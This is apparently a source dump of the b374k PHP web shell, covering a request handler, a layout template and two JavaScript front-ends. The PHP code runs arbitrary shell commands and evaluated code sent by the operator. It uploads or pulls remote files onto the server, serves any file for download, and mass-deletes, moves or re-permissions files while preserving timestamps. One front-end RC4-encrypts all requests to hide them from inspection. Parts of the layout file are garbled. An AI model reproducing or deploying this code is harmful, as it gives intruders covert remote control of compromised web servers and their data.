222 | $candidate = array_diff($candidate, array($k));
223 | }
224 | }
225 | }
226 | }
227 | }
228 |
229 | foreach($candidate as $k){
230 | if($findReadable=="true"){
231 | if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
232 | }
233 | if($findWritable=="true"){
234 | if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
235 | }
236 | if($findExecutable=="true"){
237 | if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
238 | }
239 | }
240 |
241 | if(count($candidate)>0){
242 | $res = "";
243 | foreach($candidate as $k){
244 | $res .= "> ".html_safe($k)."
";
245 | }
246 | }
247 | else $res = "";
248 | output($res);
249 | }
250 | elseif(isset($p['ulType'])){
251 | $ulSaveTo = trim($p['ulSaveTo']);
252 | $ulFilename = trim($p['ulFilename']);
253 |
254 | if($p['ulType']=='comp'){
255 | $ulFile = $_FILES['ulFile'];
256 | if(empty($ulFilename)) $ulFilename = $ulFile['name'];
257 |
258 | if(is_uploaded_file($ulFile['tmp_name'])){
259 | if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
260 | $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
261 | if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
262 | $res = "> ".html_safe($newfile)." ( 100% )";
263 | }
264 | else $res = "error";
265 | }
266 | else $res = "error";
267 | }
268 | elseif($p['ulType']=='url'){
269 | $ulFile = trim($p['ulFile']);
270 | if(empty($ulFilename)) $ulFilename = basename($ulFile);
271 | if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
272 | $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
273 |
274 | if(download($ulFile, $newfile)){
275 | $res = "> ".html_safe($newfile)." ( 100% )";
276 | }
277 | else $res = "error";
278 | }
279 | else $res = "error";
280 | output($res);
281 | }
282 | elseif(isset($p['download'])){
283 | $file = trim($p['download']);
284 | if(is_file($file)){
285 | header("Content-Type: application/octet-stream");
286 | header('Content-Transfer-Encoding: binary');
287 | header("Content-length: ".filesize($file));
288 | header("Cache-Control: no-cache");
289 | header("Pragma: no-cache");
290 | header("Content-disposition: attachment; filename=\"".basename($file)."\";");
291 | $handler = fopen($file,"rb");
292 | while(!feof($handler)){
293 | print(fread($handler, 1024*8));
294 | @ob_flush();
295 | @flush();
296 | }
297 | fclose($handler);
298 | die();
299 | }
300 | }
301 | elseif(isset($p['multimedia'])){
302 | $file = trim($p['multimedia']);
303 | $mime_list = get_resource('mime');
304 | $mime = "";
305 | $file_ext_pos = strrpos($file, ".");
306 | if($file_ext_pos!==false){
307 | $file_ext = trim(substr($file, $file_ext_pos),".");
308 | if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
309 | $mime = $res[1];
310 | }
311 | }
312 |
313 | if(is_file($file)){
314 | header("Content-Type: ".$mime);
315 | header('Content-Transfer-Encoding: binary');
316 | header("Content-length: ".filesize($file));
317 | echo "data:".$mime.";base64,".base64_encode(read_file($file));
318 | die();
319 | }
320 | }
321 | elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
322 | $massType = trim($p['massType']);
323 | $massBuffer = trim($p['massBuffer']);
324 | $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
325 | $massValue = trim($p['massValue']);
326 | $counter = 0;
327 |
328 | $massBufferArr = explode("\n", $massBuffer);
329 | if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
330 | if(compress($massType, $massValue, $massBufferArr)){
331 | $counter++;
332 | return $counter;
333 | }
334 | }
335 | else{
336 | foreach($massBufferArr as $k){
337 | $path = trim($k);
338 | if(file_exists($path)){
339 | $preserveTimestamp = filemtime($path);
340 | if($massType=='delete'){
341 | if(is_file($path)){
342 | if(unlink($path)) $counter++;
343 | }
344 | elseif(is_dir($path)){
345 | if(rmdirs($path)>0) $counter++;
346 | }
347 | }
348 | elseif($massType=='cut'){
349 | $dest = $massPath.basename($path);
350 | if(rename($path, $dest)){
351 | $counter++;
352 | touch($dest, $preserveTimestamp);
353 | }
354 | }
355 | elseif($massType=='copy'){
356 | $dest = $massPath.basename($path);
357 | if(is_dir($path)){
358 | if(copys($path, $dest)>0) $counter++;
359 | }
360 | elseif(is_file($path)){
361 | if(copy($path, $dest)) $counter++;
362 | }
363 | }
364 | elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
365 | if(decompress($massType, $path, $massValue)){
366 | $counter++;
367 | return $counter;
368 | }
369 | }
370 | elseif(!empty($massValue)){
371 | if($massType=='chmod'){
372 | if(chmod($path, octdec($massValue))) $counter++;
373 | }
374 | elseif($massType=='chown'){
375 | if(chown($path, $massValue)) $counter++;
376 | }
377 | elseif($massType=='touch'){
378 | if(touch($path, strtotime($massValue))) $counter++;
379 | }
380 | }
381 | }
382 | }
383 | }
384 | if($counter>0) output($counter);
385 | output('error');
386 | }
387 | elseif(isset($p['viewFileorFolder'])){
388 | $entry = $p['viewFileorFolder'];
389 | if(is_file($entry)) output('file');
390 | elseif(is_dir($entry)) output('folder');
391 | output('error');
392 | }
393 | elseif(isset($p['terminalInput'])){
394 | output(html_safe(execute($p['terminalInput'])));
395 | }
396 | elseif(isset($p['evalInput']) && isset($p['evalType'])){
397 | $evalInput = $p['evalInput'];
398 | $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
399 | $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
400 | $evalType = $p['evalType'];
401 |
402 | error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
403 | @ini_set('html_errors','0');
404 | @ini_set('display_errors','1');
405 | @ini_set('display_startup_errors','1');
406 |
407 | $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
408 | if($res===false) $res == "error";
409 | output(html_safe($res));
410 | }
411 | elseif(isset($p['evalGetSupported'])){
412 | $res = eval_get_supported();
413 | output($res);
414 | }
415 | ?>
--------------------------------------------------------------------------------
/base/jsPacker.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/phith0n/b374k/09c3faad614268cca9162b5739f4a7b8a2729f96/base/jsPacker.php
--------------------------------------------------------------------------------
/base/layout.php:
--------------------------------------------------------------------------------
1 | ".str_replace("\n\n", "\n", html_safe($error))."":"";
4 | @ob_end_clean();
5 | error_reporting(0);
6 | @ini_set('display_errors','0');
7 |
8 |
9 | ?>
10 |
11 |
12 |
13 |
14 |
15 |
16 | '>
17 |
28 |
31 |
32 |
33 |
34 |
35 |
36 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 | $v){
68 | echo "
".$v."
";
69 | }
70 | ?>
71 |
72 |
73 |
74 | ".$content."
";
78 | }
79 | ?>
80 |
81 |
82 |
83 |
84 |
85 |
89 |
90 |
91 |
92 |
106 |
107 |
108 |
--------------------------------------------------------------------------------
/base/localmain.js:
--------------------------------------------------------------------------------
1 | var loading_count = 0;
2 | var running = false;
3 | var defaultTab = 'explorer';
4 | var currentTab = $('#'+defaultTab);
5 | var tabScroll = new Object;
6 | var onDrag = false;
7 | var onScroll = false;
8 | var scrollDelta = 1;
9 | var scrollCounter = 0;
10 | var scrollSpeed = 60;
11 | var scrollTimer = '';
12 | var dragX = '';
13 | var dragY = '';
14 | var dragDeltaX = '';
15 | var dragDeltaY = '';
16 | var editSuccess = '';
17 | var terminalHistory = new Array();
18 | var terminalHistoryPos = 0;
19 | var evalSupported = "";
20 | var evalReady = false;
21 | var resizeTimer = '';
22 | var portableWidth = 700;
23 | var portableMode = null;
24 |
25 | Zepto(function($){
26 | if(init_shell){
27 | var now = new Date();
28 | output("started @ "+ now.toGMTString());
29 | output("cwd : "+get_cwd());
30 | output("module : "+module_to_load);
31 |
32 | show_tab();
33 | xpl_bind();
34 | eval_init();
35 |
36 | window_resize();
37 |
38 | xpl_update_status();
39 |
40 | $(window).on('resize', function(e){
41 | clearTimeout(resizeTimer);
42 | resizeTimer = setTimeout("window_resize()", 1000);
43 | });
44 |
45 | $('.menuitem').on('click', function(e){
46 | selectedTab = $(this).attr('href').substr(2);
47 | show_tab(selectedTab);
48 | });
49 |
50 | $('#logout').on('click', function(e){
51 | var cookie = document.cookie.split(';');
52 | for(var i=0; i '+str);
128 | }
129 |
130 | function window_resize(){
131 | bodyWidth = $('body').width();
132 | if(bodyWidth<=portableWidth){
133 | layout_portable();
134 | }
135 | else{
136 | layout_normal();
137 | }
138 | }
139 |
140 | function layout_portable(){
141 | nav = $('#nav');
142 | menu = $('#menu');
143 | headerNav = $('#headerNav');
144 | content = $('#content');
145 |
146 | //nav.hide();
147 | nav.prependTo('#content');
148 | nav.css('padding','5px 8px');
149 | nav.css('margin-top', '8px');
150 | nav.css('display','block');
151 | nav.addClass('border');
152 |
153 | menu.children().css('width', '100%');
154 | menu.hide();
155 | $('#menuButton').remove();
156 | headerNav.prepend("");
157 | menu.attr('onclick', "\$('#menu').hide();");
158 |
159 | $('#xplTable tr>:nth-child(4)').hide();
160 | $('#xplTable tr>:nth-child(5)').hide();
161 | if(!win){
162 | $('#xplTable tr>:nth-child(6)').hide();
163 | }
164 |
165 | tblfoot = $('#xplTable tfoot td:last-child');
166 | if(tblfoot[0]) tblfoot[0].colSpan = 1;
167 | if(tblfoot[1]) tblfoot[1].colSpan = 2;
168 |
169 |
170 | $('.box').css('width', '100%');
171 | $('.box').css('height', '100%');
172 | $('.box').css('left', '0px');
173 | $('.box').css('top', '0px');
174 |
175 | paddingTop = $('#header').height();
176 | content.css('padding-top', paddingTop+'px');
177 |
178 | portableMode = true;
179 | }
180 |
181 | function layout_normal(){
182 | nav = $('#nav');
183 | menu = $('#menu');
184 | content = $('#content');
185 |
186 | nav.insertAfter('#b374k');
187 | nav.css('padding','0');
188 | nav.css('margin-top', '0');
189 | nav.css('display','inline');
190 | nav.removeClass('border');
191 |
192 | menu.children().css('width', 'auto');
193 | menu.show();
194 | $('#menuButton').remove();
195 | menu.attr('onclick', "");
196 |
197 | $('#xplTable tr>:nth-child(4)').show();
198 | $('#xplTable tr>:nth-child(5)').show();
199 | if(!win){
200 | $('#xplTable tr>:nth-child(6)').show();
201 | colspan = 4;
202 | }
203 | else colspan = 3;
204 |
205 | tblfoot = $('#xplTable tfoot td:last-child');
206 | if(tblfoot[0]) tblfoot[0].colSpan = colspan;
207 | if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;
208 |
209 | paddingTop = $('#header').height();
210 | content.css('padding-top', paddingTop+'px');
211 |
212 | portableMode = false;
213 | }
214 |
215 | function start_scroll(str){
216 | if(str=='top'){
217 | to = $(window).scrollTop() - scrollCounter;
218 | scrollCounter = scrollDelta + scrollCounter;
219 | if(to<=0){
220 | to = 0;
221 | onScroll = false;
222 | }
223 | else if(onScroll){
224 | scrollTimer = setTimeout("start_scroll('top')", scrollSpeed);
225 | $(window).scrollTop(to);
226 | }
227 | }
228 | else if(str=='bottom'){
229 | to = $(window).scrollTop() + scrollCounter;
230 | scrollCounter = scrollDelta + scrollCounter;
231 | bottom = $(document).height()-$(window).height();
232 | if(to>=bottom){
233 | to = bottom;
234 | onScroll = false;
235 | }
236 | else if(onScroll){
237 | scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed);
238 | $(window).scrollTop(to);
239 | }
240 | }
241 | }
242 |
243 | function get_cwd(){
244 | return decodeURIComponent(get_cookie('cwd'));
245 | }
246 |
247 | function fix_tabchar(el, e){
248 | if(e.keyCode==9){
249 | e.preventDefault();
250 | var s = el.selectionStart;
251 | el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substring(el.selectionEnd);
252 | el.selectionEnd = s+1;
253 | }
254 | }
255 |
256 | function get_cookie(key){
257 | var res;
258 | return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null;
259 | }
260 |
261 | function set_cookie(key, value){
262 | document.cookie = key + '=' + encodeURIComponent(value);
263 | }
264 |
265 | function html_safe(str){
266 | if(typeof(str) == "string"){
267 | str = str.replace(/&/g, "&");
268 | str = str.replace(/"/g, """);
269 | str = str.replace(/'/g, "'");
270 | str = str.replace(//g, ">");
272 | }
273 | return str;
274 | }
275 |
276 | function ucfirst(str){
277 | return str.charAt(0).toUpperCase() + str.slice(1);
278 | }
279 |
280 | function time(){
281 | var d = new Date();
282 | return d.getTime();
283 | }
284 |
285 | function send_post(targetdata, callback, loading){
286 | if(loading==null) loading_start();
287 | $.ajax({
288 | url: targeturl,
289 | type: 'POST',
290 | data: targetdata,
291 | success: function(res){
292 | callback(res);
293 | if(loading==null) loading_stop();
294 | },
295 | error: function(){ if(loading==null) loading_stop(); }
296 | });
297 | }
298 |
299 | function loading_start(){
300 | if(!running){
301 | $('#overlay').show();
302 | running = true;
303 | loading_loop();
304 | }
305 | }
306 |
307 | function loading_loop(){
308 | if(running){
309 | img = $('#loading');
310 | img.css('transform', 'rotate('+loading_count+'deg)');
311 | img.css('-ms-transform', 'rotate('+loading_count+'deg)');
312 | img.css('-webkit-transform', 'rotate('+loading_count+'deg)');
313 |
314 | loading_count+=7;
315 | if(loading_count>360) loading_count = 0;
316 | if(running) setTimeout("loading_loop()",20);
317 | }
318 | }
319 |
320 | function loading_stop(){
321 | if(running){
322 | img = $('#loading');
323 | img.css('transform', 'rotate(0deg)');
324 | img.css('-ms-transform', 'rotate(0deg)');
325 | img.css('-webkit-transform', 'rotate(0deg)');
326 |
327 | $('#overlay').hide();
328 | running = false;
329 | }
330 | }
331 |
332 | function show_tab(id){
333 | if(!id){
334 | if(location.hash!='') id = location.hash.substr(2);
335 | else id = defaultTab;
336 | }
337 | refresh_tab(id);
338 | }
339 |
340 | function refresh_tab(id){
341 | if(!id){
342 | if(location.hash!='') id = location.hash.substr(2);
343 | else id = defaultTab;
344 | }
345 | $('.menuitemSelected').removeClass("menuitemSelected");
346 | $('#menu'+id).addClass("menuitemSelected");
347 |
348 | tabScroll[currentTab.attr('id')] = $(window).scrollTop();
349 | currentTab.hide();
350 | currentTab = $('#'+id);
351 | currentTab.show();
352 | window[id]();
353 | if(tabScroll[id]){
354 | $(window).scrollTop(tabScroll[id]);
355 | }
356 | hide_box();
357 | }
358 |
359 | function trap_enter(e, callback){
360 | if(e.keyCode==13){
361 | if(callback!=null) window[callback]();
362 | }
363 | }
364 |
365 | function show_box(title, content){
366 | onDrag = false;
367 | hide_box();
368 | box = "";
369 | $('#content').append(box);
370 |
371 | box_width = $('.box').width();
372 | body_width = $('body').width();
373 |
374 | box_height = $('.box').height();
375 | body_height = $('body').height();
376 |
377 | x = (body_width - box_width)/2;
378 | y = (body_height - box_height)/2;
379 | if(x<0 || portableMode) x = 0;
380 | if(y<0 || portableMode) y = 0;
381 | if(portableMode){
382 | $('.box').css('width', '100%');
383 | $('.box').css('height', '100%');
384 | }
385 |
386 | $('.box').css('left', x+'px');
387 | $('.box').css('top', y+'px');
388 |
389 | $('.boxclose').on('click', function(e){
390 | hide_box();
391 | });
392 |
393 | if(!portableMode){
394 | $('.boxtitle').on('click', function(e){
395 | if(!onDrag){
396 | dragDeltaX = e.pageX - parseInt($('.box').css('left'));
397 | dragDeltaY = e.pageY - parseInt($('.box').css('top'));
398 | drag_start();
399 | }
400 | else drag_stop();
401 | });
402 | }
403 |
404 | $(document).off('keyup');
405 | $(document).on('keyup', function(e){
406 | if(e.keyCode == 27) hide_box();
407 | });
408 |
409 | if($('.box input')[0]) $('.box input')[0].focus();
410 | }
411 |
412 | function hide_box(){
413 | $(document).off('keyup');
414 | $('.box').remove();
415 | }
416 |
417 | function drag_start(){
418 | if(!onDrag){
419 | onDrag = true;
420 | $('body').off('mousemove');
421 | $('body').on('mousemove', function(e){
422 | dragX = e.pageX;
423 | dragY = e.pageY;
424 | });
425 | setTimeout('drag_loop()',50);
426 | }
427 | }
428 |
429 | function drag_loop(){
430 | if(onDrag){
431 | x = dragX - dragDeltaX;
432 | y = dragY - dragDeltaY;
433 | if(y<0)y=0;
434 | $('.box').css('left', x+'px');
435 | $('.box').css('top', y+'px');
436 | setTimeout('drag_loop()',50);
437 | }
438 | }
439 |
440 | function drag_stop(){
441 | onDrag = false;
442 | $('body').off('mousemove');
443 | }
444 |
445 | function get_all_cbox_selected(id, callback){
446 | var buffer = new Array();
447 | $('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){
448 | if((href = window[callback]($(this)))){
449 | buffer[i] = href;
450 | }
451 | });
452 | return buffer;
453 | }
454 |
455 |
456 | function cbox_bind(id, callback){
457 | $('#'+id).find('.cBox').off('click');
458 | $('#'+id).find('.cBoxAll').off('click');
459 |
460 | $('#'+id).find('.cBox').on('click', function(e){
461 | if($(this).hasClass('cBoxSelected')){
462 | $(this).removeClass('cBoxSelected');
463 | }
464 | else $(this).addClass('cBoxSelected');
465 | if(callback!=null) window[callback]();
466 | });
467 | $('#'+id).find('.cBoxAll').on('click', function(e){
468 | if($(this).hasClass('cBoxSelected')){
469 | $('#'+id).find('.cBox').removeClass('cBoxSelected');
470 | $('#'+id).find('.cBoxAll').removeClass('cBoxSelected');
471 | }
472 | else{
473 | $('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');
474 | $('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected');
475 | }
476 | if(callback!=null) window[callback]();
477 | });
478 | }
--------------------------------------------------------------------------------
/base/main.js:
--------------------------------------------------------------------------------
1 | var loading_count = 0;
2 | var running = false;
3 | var defaultTab = 'explorer';
4 | var currentTab = $('#'+defaultTab);
5 | var tabScroll = new Object;
6 | var onDrag = false;
7 | var onScroll = false;
8 | var scrollDelta = 1;
9 | var scrollCounter = 0;
10 | var scrollSpeed = 60;
11 | var scrollTimer = '';
12 | var dragX = '';
13 | var dragY = '';
14 | var dragDeltaX = '';
15 | var dragDeltaY = '';
16 | var editSuccess = '';
17 | var terminalHistory = new Array();
18 | var terminalHistoryPos = 0;
19 | var evalSupported = "";
20 | var evalReady = false;
21 | var resizeTimer = '';
22 | var portableWidth = 700;
23 | var portableMode = null;
24 |
25 | Zepto(function($){
26 | if(init_shell){
27 | var now = new Date();
28 | output("started @ "+ now.toGMTString());
29 | output("cwd : "+get_cwd());
30 | output("module : "+module_to_load);
31 |
32 | show_tab();
33 | xpl_bind();
34 | eval_init();
35 |
36 | window_resize();
37 |
38 | xpl_update_status();
39 |
40 | $(window).on('resize', function(e){
41 | clearTimeout(resizeTimer);
42 | resizeTimer = setTimeout("window_resize()", 1000);
43 | });
44 |
45 | $('.menuitem').on('click', function(e){
46 | selectedTab = $(this).attr('href').substr(2);
47 | show_tab(selectedTab);
48 | });
49 |
50 | $('#logout').on('click', function(e){
51 | var cookie = document.cookie.split(';');
52 | for(var i=0; i '+str);
128 | }
129 |
130 | function window_resize(){
131 | bodyWidth = $('body').width();
132 | if(bodyWidth<=portableWidth){
133 | layout_portable();
134 | }
135 | else{
136 | layout_normal();
137 | }
138 | }
139 |
140 | function layout_portable(){
141 | nav = $('#nav');
142 | menu = $('#menu');
143 | headerNav = $('#headerNav');
144 | content = $('#content');
145 |
146 | //nav.hide();
147 | nav.prependTo('#content');
148 | nav.css('padding','5px 8px');
149 | nav.css('margin-top', '8px');
150 | nav.css('display','block');
151 | nav.addClass('border');
152 |
153 | menu.children().css('width', '100%');
154 | menu.hide();
155 | $('#menuButton').remove();
156 | headerNav.prepend("");
157 | menu.attr('onclick', "\$('#menu').hide();");
158 |
159 | $('#xplTable tr>:nth-child(4)').hide();
160 | $('#xplTable tr>:nth-child(5)').hide();
161 | if(!win){
162 | $('#xplTable tr>:nth-child(6)').hide();
163 | }
164 |
165 | tblfoot = $('#xplTable tfoot td:last-child');
166 | if(tblfoot[0]) tblfoot[0].colSpan = 1;
167 | if(tblfoot[1]) tblfoot[1].colSpan = 2;
168 |
169 |
170 | $('.box').css('width', '100%');
171 | $('.box').css('height', '100%');
172 | $('.box').css('left', '0px');
173 | $('.box').css('top', '0px');
174 |
175 | paddingTop = $('#header').height();
176 | content.css('padding-top', paddingTop+'px');
177 |
178 | portableMode = true;
179 | }
180 |
181 | function layout_normal(){
182 | nav = $('#nav');
183 | menu = $('#menu');
184 | content = $('#content');
185 |
186 | nav.insertAfter('#b374k');
187 | nav.css('padding','0');
188 | nav.css('margin-top', '0');
189 | nav.css('display','inline');
190 | nav.removeClass('border');
191 |
192 | menu.children().css('width', 'auto');
193 | menu.show();
194 | $('#menuButton').remove();
195 | menu.attr('onclick', "");
196 |
197 | $('#xplTable tr>:nth-child(4)').show();
198 | $('#xplTable tr>:nth-child(5)').show();
199 | if(!win){
200 | $('#xplTable tr>:nth-child(6)').show();
201 | colspan = 4;
202 | }
203 | else colspan = 3;
204 |
205 | tblfoot = $('#xplTable tfoot td:last-child');
206 | if(tblfoot[0]) tblfoot[0].colSpan = colspan;
207 | if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;
208 |
209 | paddingTop = $('#header').height();
210 | content.css('padding-top', paddingTop+'px');
211 |
212 | portableMode = false;
213 | }
214 |
215 | function start_scroll(str){
216 | if(str=='top'){
217 | to = $(window).scrollTop() - scrollCounter;
218 | scrollCounter = scrollDelta + scrollCounter;
219 | if(to<=0){
220 | to = 0;
221 | onScroll = false;
222 | }
223 | else if(onScroll){
224 | scrollTimer = setTimeout("start_scroll('top')", scrollSpeed);
225 | $(window).scrollTop(to);
226 | }
227 | }
228 | else if(str=='bottom'){
229 | to = $(window).scrollTop() + scrollCounter;
230 | scrollCounter = scrollDelta + scrollCounter;
231 | bottom = $(document).height()-$(window).height();
232 | if(to>=bottom){
233 | to = bottom;
234 | onScroll = false;
235 | }
236 | else if(onScroll){
237 | scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed);
238 | $(window).scrollTop(to);
239 | }
240 | }
241 | }
242 |
243 | function get_cwd(){
244 | return decodeURIComponent(get_cookie('cwd'));
245 | }
246 |
247 | function fix_tabchar(el, e){
248 | if(e.keyCode==9){
249 | e.preventDefault();
250 | var s = el.selectionStart;
251 | el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substring(el.selectionEnd);
252 | el.selectionEnd = s+1;
253 | }
254 | }
255 |
256 | function get_cookie(key){
257 | var res;
258 | return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null;
259 | }
260 |
261 | function set_cookie(key, value){
262 | document.cookie = key + '=' + encodeURIComponent(value);
263 | }
264 |
265 | function html_safe(str){
266 | if(typeof(str) == "string"){
267 | str = str.replace(/&/g, "&");
268 | str = str.replace(/"/g, """);
269 | str = str.replace(/'/g, "'");
270 | str = str.replace(//g, ">");
272 | }
273 | return str;
274 | }
275 |
276 | function ucfirst(str){
277 | return str.charAt(0).toUpperCase() + str.slice(1);
278 | }
279 |
280 | function time(){
281 | var d = new Date();
282 | return d.getTime();
283 | }
284 |
285 | function send_post(targetdata, callback, loading){
286 | if(loading==null) loading_start();
287 | var enc = '';
288 | if(typeof targetdata == "object") {
289 | enc = $.param(targetdata);
290 | }
291 | targetdata = {
292 | target: bin2hex(rc4(window['cipher_key'], enc))
293 | };
294 | $.ajax({
295 | url: targeturl,
296 | type: 'POST',
297 | data: targetdata,
298 | success: function(res){
299 | callback(res);
300 | if(loading==null) loading_stop();
301 | },
302 | error: function(){ if(loading==null) loading_stop(); }
303 | });
304 | }
305 |
306 | function loading_start(){
307 | if(!running){
308 | $('#overlay').show();
309 | running = true;
310 | loading_loop();
311 | }
312 | }
313 |
314 | function loading_loop(){
315 | if(running){
316 | img = $('#loading');
317 | img.css('transform', 'rotate('+loading_count+'deg)');
318 | img.css('-ms-transform', 'rotate('+loading_count+'deg)');
319 | img.css('-webkit-transform', 'rotate('+loading_count+'deg)');
320 |
321 | loading_count+=7;
322 | if(loading_count>360) loading_count = 0;
323 | if(running) setTimeout("loading_loop()",20);
324 | }
325 | }
326 |
327 | function loading_stop(){
328 | if(running){
329 | img = $('#loading');
330 | img.css('transform', 'rotate(0deg)');
331 | img.css('-ms-transform', 'rotate(0deg)');
332 | img.css('-webkit-transform', 'rotate(0deg)');
333 |
334 | $('#overlay').hide();
335 | running = false;
336 | }
337 | }
338 |
339 | function show_tab(id){
340 | if(!id){
341 | if(location.hash!='') id = location.hash.substr(2);
342 | else id = defaultTab;
343 | }
344 | refresh_tab(id);
345 | }
346 |
347 | function refresh_tab(id){
348 | if(!id){
349 | if(location.hash!='') id = location.hash.substr(2);
350 | else id = defaultTab;
351 | }
352 | $('.menuitemSelected').removeClass("menuitemSelected");
353 | $('#menu'+id).addClass("menuitemSelected");
354 |
355 | tabScroll[currentTab.attr('id')] = $(window).scrollTop();
356 | currentTab.hide();
357 | currentTab = $('#'+id);
358 | currentTab.show();
359 | window[id]();
360 | if(tabScroll[id]){
361 | $(window).scrollTop(tabScroll[id]);
362 | }
363 | hide_box();
364 | }
365 |
366 | function trap_enter(e, callback){
367 | if(e.keyCode==13){
368 | if(callback!=null) window[callback]();
369 | }
370 | }
371 |
372 | function show_box(title, content){
373 | onDrag = false;
374 | hide_box();
375 | box = "";
376 | $('#content').append(box);
377 |
378 | box_width = $('.box').width();
379 | body_width = $('body').width();
380 |
381 | box_height = $('.box').height();
382 | body_height = $('body').height();
383 |
384 | x = (body_width - box_width)/2;
385 | y = (body_height - box_height)/2;
386 | if(x<0 || portableMode) x = 0;
387 | if(y<0 || portableMode) y = 0;
388 | if(portableMode){
389 | $('.box').css('width', '100%');
390 | $('.box').css('height', '100%');
391 | }
392 |
393 | $('.box').css('left', x+'px');
394 | $('.box').css('top', y+'px');
395 |
396 | $('.boxclose').on('click', function(e){
397 | hide_box();
398 | });
399 |
400 | if(!portableMode){
401 | $('.boxtitle').on('click', function(e){
402 | if(!onDrag){
403 | dragDeltaX = e.pageX - parseInt($('.box').css('left'));
404 | dragDeltaY = e.pageY - parseInt($('.box').css('top'));
405 | drag_start();
406 | }
407 | else drag_stop();
408 | });
409 | }
410 |
411 | $(document).off('keyup');
412 | $(document).on('keyup', function(e){
413 | if(e.keyCode == 27) hide_box();
414 | });
415 |
416 | if($('.box input')[0]) $('.box input')[0].focus();
417 | }
418 |
419 | function hide_box(){
420 | $(document).off('keyup');
421 | $('.box').remove();
422 | }
423 |
424 | function drag_start(){
425 | if(!onDrag){
426 | onDrag = true;
427 | $('body').off('mousemove');
428 | $('body').on('mousemove', function(e){
429 | dragX = e.pageX;
430 | dragY = e.pageY;
431 | });
432 | setTimeout('drag_loop()',50);
433 | }
434 | }
435 |
436 | function drag_loop(){
437 | if(onDrag){
438 | x = dragX - dragDeltaX;
439 | y = dragY - dragDeltaY;
440 | if(y<0)y=0;
441 | $('.box').css('left', x+'px');
442 | $('.box').css('top', y+'px');
443 | setTimeout('drag_loop()',50);
444 | }
445 | }
446 |
447 | function drag_stop(){
448 | onDrag = false;
449 | $('body').off('mousemove');
450 | }
451 |
452 | function get_all_cbox_selected(id, callback){
453 | var buffer = new Array();
454 | $('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){
455 | if((href = window[callback]($(this)))){
456 | buffer[i] = href;
457 | }
458 | });
459 | return buffer;
460 | }
461 |
462 |
463 | function cbox_bind(id, callback){
464 | $('#'+id).find('.cBox').off('click');
465 | $('#'+id).find('.cBoxAll').off('click');
466 |
467 | $('#'+id).find('.cBox').on('click', function(e){
468 | if($(this).hasClass('cBoxSelected')){
469 | $(this).removeClass('cBoxSelected');
470 | }
471 | else $(this).addClass('cBoxSelected');
472 | if(callback!=null) window[callback]();
473 | });
474 | $('#'+id).find('.cBoxAll').on('click', function(e){
475 | if($(this).hasClass('cBoxSelected')){
476 | $('#'+id).find('.cBox').removeClass('cBoxSelected');
477 | $('#'+id).find('.cBoxAll').removeClass('cBoxSelected');
478 | }
479 | else{
480 | $('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');
481 | $('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected');
482 | }
483 | if(callback!=null) window[callback]();
484 | });
485 | }
486 |
487 | function bin2hex(s) {
488 | var i, l, o = '',
489 | n;
490 | s += '';
491 | for (i = 0, l = s.length; i < l; i++) {
492 | n = s.charCodeAt(i)
493 | .toString(16);
494 | o += n.length < 2 ? '0' + n : n;
495 | }
496 | return o;
497 | }
498 |
499 | function rc4(key, str) {
500 | var s = [], j = 0, x, res = '';
501 | for (var i = 0; i < 256; i++) {
502 | s[i] = i;
503 | }
504 | for (i = 0; i < 256; i++) {
505 | j = (j + s[i] + key.charCodeAt(i % key.length)) % 256;
506 | x = s[i];
507 | s[i] = s[j];
508 | s[j] = x;
509 | }
510 | i = 0;
511 | j = 0;
512 | for (var y = 0; y < str.length; y++) {
513 | i = (i + 1) % 256;
514 | j = (j + s[i]) % 256;
515 | x = s[i];
516 | s[i] = s[j];
517 | s[j] = x;
518 | res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]);
519 | }
520 | return res;
521 | }
--------------------------------------------------------------------------------
/base/resources.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/base/sortable.js:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * SortTable
4 | * version 2
5 | * 7th April 2007
6 | * Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/
7 | *
8 | **/
9 | var h=!0,j=!1;
